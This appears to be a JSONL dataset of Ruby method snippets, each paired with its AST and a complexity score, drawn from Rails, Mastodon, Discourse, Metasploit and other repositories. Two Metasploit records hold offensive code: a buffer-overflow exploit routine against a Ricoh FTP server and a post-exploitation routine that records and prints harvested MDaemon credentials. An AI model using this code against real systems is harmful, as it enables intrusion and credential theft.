+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":411,"raw_source":"def cmd_download_help\n print_line(\"Usage: download [src] [dst]\")\n print_line\n print_line(\"Downloads remote files to the local machine.\")\n print_line(\"Only files are supported.\")\n print_line\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_download_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: download [src] [dst]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Downloads remote files to the local machine.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Only files are supported.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"6f1c2961-0f5c-45f2-bbc7-e7fb714f888a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/ricoh_dl_bof.rb","start_line":79,"raw_source":"def exploit\n buf = ''\n buf << rand_text_alpha(target['Offset'], payload_badchars)\n buf << [target.ret].pack('V')\n buf << make_nops(20)\n buf << payload.encoded\n\n print_status(\"#{rhost}:#{rport} - Sending #{self.name}\")\n connect\n send_user(buf)\n handler\n disconnect\n end","complexity_score":27.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"send_user\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"6cbf50c4-281c-45ad-a375-7be54cc8cb45"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event_router.rb","start_line":58,"raw_source":"def initialize(pattern, collector)\n patterns = pattern.split(/\\s+/).map { |str| MatchPattern.create(str) }\n @pattern = if patterns.length == 1\n patterns[0]\n else\n OrMatchPattern.new(patterns)\n end\n @pattern_str = pattern\n @collector = collector\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MatchPattern\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrMatchPattern\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"patterns\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern_str\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@collector\",{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"53c17569-cffe-4c78-9f8d-81f47480aa2f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":980,"raw_source":"def _raise_record_not_destroyed\n @_association_destroy_exception ||= nil\n key = self.class.primary_key\n raise @_association_destroy_exception || RecordNotDestroyed.new(\"Failed to destroy #{self.class} with #{key}=#{id}\", self)\n ensure\n @_association_destroy_exception = nil\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_raise_record_not_destroyed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_association_destroy_exception\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"primary_key\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_association_destroy_exception\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RecordNotDestroyed\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to destroy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_association_destroy_exception\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2094d668-42c6-4b21-b016-36ba1c93bc6e"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/directory_item_serializer.rb","start_line":35,"raw_source":"def include_user_fields?\n @options[:user_custom_field_map].present?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_user_fields?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_custom_field_map\"]}]},\"present?\"]}]}","id":"5ce2da32-974a-4e74-8b6c-d76bd8339e7c"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/seeders/root_seeder_bim_edition_spec.rb","start_line":48,"raw_source":"def group_name(reference)\n root_seeder.seed_data.find_reference(reference)[\"name\"]\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_seeder\"]},\"seed_data\"]},\"find_reference\",{\"type\":\"lvar\",\"children\":[\"reference\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}","id":"a043d272-86e1-4cdc-82ee-a84440e77346"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":394,"raw_source":"def render_to_string_and_render\n @stuff = render_to_string plain: \"here is some cached stuff\"\n render plain: \"Hi web users! #{@stuff}\"\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_to_string_and_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stuff\",{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"here is some cached stuff\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hi web users! \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stuff\"]}]}]}]}]}]}]}]}","id":"6a43e3a9-45f0-4621-8e59-06660430d455"}
+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":298,"raw_source":"def add_source_error(field, message)\n field_name = I18n.t(\"activerecord.attributes.#{source.class.to_s.underscore}.#{field}\")\n errors.add(Spree.t(source.class.to_s.demodulize.underscore), \"#{field_name} #{message}\")\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_source_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"activerecord.attributes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"class\"]},\"to_s\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"class\"]},\"to_s\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"1ee4d516-5fe9-4488-b096-b9be71b1532c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/form_template_yaml_validator.rb","start_line":54,"raw_source":"def check_missing_fields(record, field)\n if field[\"type\"].blank?\n record.errors.add(:template, I18n.t(\"form_templates.errors.missing_type\"))\n end\n record.errors.add(:template, I18n.t(\"form_templates.errors.missing_id\")) if field[\"id\"].blank?\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_missing_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"form_templates.errors.missing_type\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"form_templates.errors.missing_id\"]}]}]},null]}]}]}","id":"48dead91-8fcf-4b4d-b341-31af6b641e45"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/organizations/delete.rb","start_line":3,"raw_source":"def self.call(...)\n new(...).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"e1a7cd5c-293f-499b-a543-853b2dd78e6c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb","start_line":178,"raw_source":"def report_mdaemon_cred(creds, port: 0, service: nil)\n # Build service information\n service_data = {\n # address: session.session_host, # Gives internal IP\n address: session.tunnel_peer.partition(':')[0], # Gives public IP\n port: port,\n service_name: 'smtp',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n # Iterate through credentials\n creds.each do |cred|\n # Build credential information\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: refname,\n private_type: :password,\n private_data: cred[4],\n username: cred[1],\n module_fullname: fullname\n }\n credential_data.merge!(service_data)\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data = {\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED,\n workspace_id: myworkspace_id\n }\n\n login_data.merge!(service_data)\n create_credential_login(login_data)\n\n print_status(\" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}\")\n end\n\n # report the goods!\n loot_path = store_loot(\n 'MDaemon.smtp_server.creds',\n 'text/csv',\n session,\n creds.to_csv,\n \"mdaemon_#{service}_server_credentials.csv\",\n \"MDaemon #{service.upcase} Users Credentials\"\n )\n print_status(\"#{service.upcase} credentials saved in: #{loot_path}\")\n end","complexity_score":37.3,"ast_json":"{\"type\":\"def\",\"children\":[\"report_mdaemon_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"creds\"]},{\"type\":\"kwoptarg\",\"children\":[\"port\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"service\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"tunnel_peer\"]},\"partition\",{\"type\":\"str\",\"children\":[\":\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"smtp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Extracted: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_data\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"MDaemon.smtp_server.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"to_csv\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mdaemon_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"str\",\"children\":[\"_server_credentials.csv\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MDaemon \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" Users Credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_path\"]}]}]}]}]}]}","id":"da960eda-55cc-46af-bc84-57977cb50174"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/update_status_service.rb","start_line":113,"raw_source":"def update_immediate_attributes!\n @status.text = @options[:text].presence || @options.delete(:spoiler_text) || '' if @options.key?(:text)\n @status.spoiler_text = @options[:spoiler_text] || '' if @options.key?(:spoiler_text)\n @status.sensitive = @options[:sensitive] || @options[:spoiler_text].present? if @options.key?(:sensitive) || @options.key?(:spoiler_text)\n @status.language = valid_locale_cascade(@options[:language], @status.language, @status.account.user&.preferred_posting_language, I18n.default_locale)\n @status.quote_approval_policy = @options[:quote_approval_policy] if @options[:quote_approval_policy].present?\n\n # We raise here to rollback the entire transaction\n raise NoChangesSubmittedError unless significant_changes?\n\n @status.edited_at = Time.now.utc\n @status.save!\n end","complexity_score":47.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_immediate_attributes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"text=\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"spoiler_text=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"sensitive\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"sensitive=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sensitive\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},\"present?\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"language=\",{\"type\":\"send\",\"children\":[null,\"valid_locale_cascade\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"language\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"language\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"account\"]},\"user\"]},\"preferred_posting_language\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quote_approval_policy\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"quote_approval_policy=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quote_approval_policy\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"significant_changes?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoChangesSubmittedError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"save!\"]}]}]}","id":"5cf5efe5-43be-4f15-9796-c56dd93252e0"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/pam_authenticable.rb","start_line":62,"raw_source":"def self.authenticate_with_pam(attributes = {})\n super if Devise.pam_authentication\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authenticate_with_pam\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"pam_authentication\"]},{\"type\":\"zsuper\",\"children\":[]},null]}]}","id":"d74a4e4d-eca9-46cb-bdb1-e7d751a31c14"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":882,"raw_source":"def test_circular_autosave_does_not_validate_children\n person = Class.new(ActiveRecord::Base) {\n self.table_name = \"readers\"\n validate :should_be_funny\n def self.name; \"Reader\"; end\n\n attribute :catch_phrase, :string\n attribute :reader_id\n\n has_many :children, autosave: true, anonymous_class: self\n belongs_to :parent, autosave: true, anonymous_class: self\n\n private\n def should_be_funny\n unless catch_phrase == \"funny\"\n errors.add :base, \"not funny\"\n end\n end\n }\n c = person.new(catch_phrase: \"boring\")\n c.children << c\n c.post_id = 0\n c.person_id = 0\n c.save\n\n assert_not_predicate c, :persisted?\n assert_not_predicate c, :valid?\n 